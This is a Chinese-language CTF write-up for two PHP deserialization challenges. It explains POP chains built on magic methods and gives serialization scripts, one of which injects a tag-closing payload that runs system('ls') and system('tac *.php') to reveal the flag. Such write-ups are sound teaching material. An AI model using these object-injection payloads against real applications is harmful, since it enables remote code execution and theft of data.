easy_pop
首先访问/www.zip
目录,获得源码.
题目要求在hello
这里传入一个pop
链. 分析一下不难得出:
- 先调用
Start
的__wakeup()
;
- 将
name
变量连接到Info
,通过echo
调用Info
的__toString()
;
- 将其中的
file['filename']
变量连接到Room
,通过指向其不存在的元素调用Room
的__get()
;
- 将
a
变量连接回Room
自身,通过被当作函数调用其__invoke()
,获得答案.
构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class Start { public $name='guest'; }
class Info { }
class Room { public $filename='/flag'; public $a=''; } $a=new Start(); $b=new Info(); $c=new Room(); $d=new Room(); $c->a=$d; $b->file['filename']=$c; $a->name=$b; echo serialize($a); ?>
|
Source:题库
baby_pop
观察得知起点只能选择fin
. 构造的pop
链如下:
- 从
fin
的__destruct()
开始;
- 将变量
f1
指向what
,以触发__toString()
;
- 将变量
a
指向mix
(或fin
),以调用其中run()
函数;
- 将变量
m1
(或f1
)指向crow
,以触发__invoke()
;
- 将变量
v1
指向fin
,由于world()
函数不存在,触发其中的__call()
;
- 将变量
f1
指向mix
,以调用get_flag()
.
对于想要执行的命令,由于前面有一个注释符号导致命令无法正常执行,可以通过闭合php
标签的方式绕过.
1
| $m1='?><?php {your_code_here}';
|
构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php class crow { public $v1; } class fin { public $f1; } class what { public $a; } class mix { public $m1; } $a=new fin(); $b=new what(); $c=new mix(); $d=new crow(); $e=new fin(); $f=new mix(); $f->m1='?> <?php system(\'ls\'); system(\'tac *.php\');'; $e->f1=$f; $d->v1=$e; $c->m1=$d; $b->a=$c; $a->f1=$b; echo serialize($a); ?>
|
另一种思路:
在第4步时将指向函数直接设置为mix
中的get_flag()
,直接执行.
构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class crow { public $v1; }
class fin { public $f1; }
class what { public $a; } class mix { public $m1; } $a=new fin(); $b=new what(); $c=new mix(); $f=new mix(); $f->m1='?> <?php system(\'ls\'); system(\'tac *.php\');'; $c->m1=array($f,'get_flag'); $b->a=$c; $a->f1=$b; echo serialize($a); ?>
|
Source:题库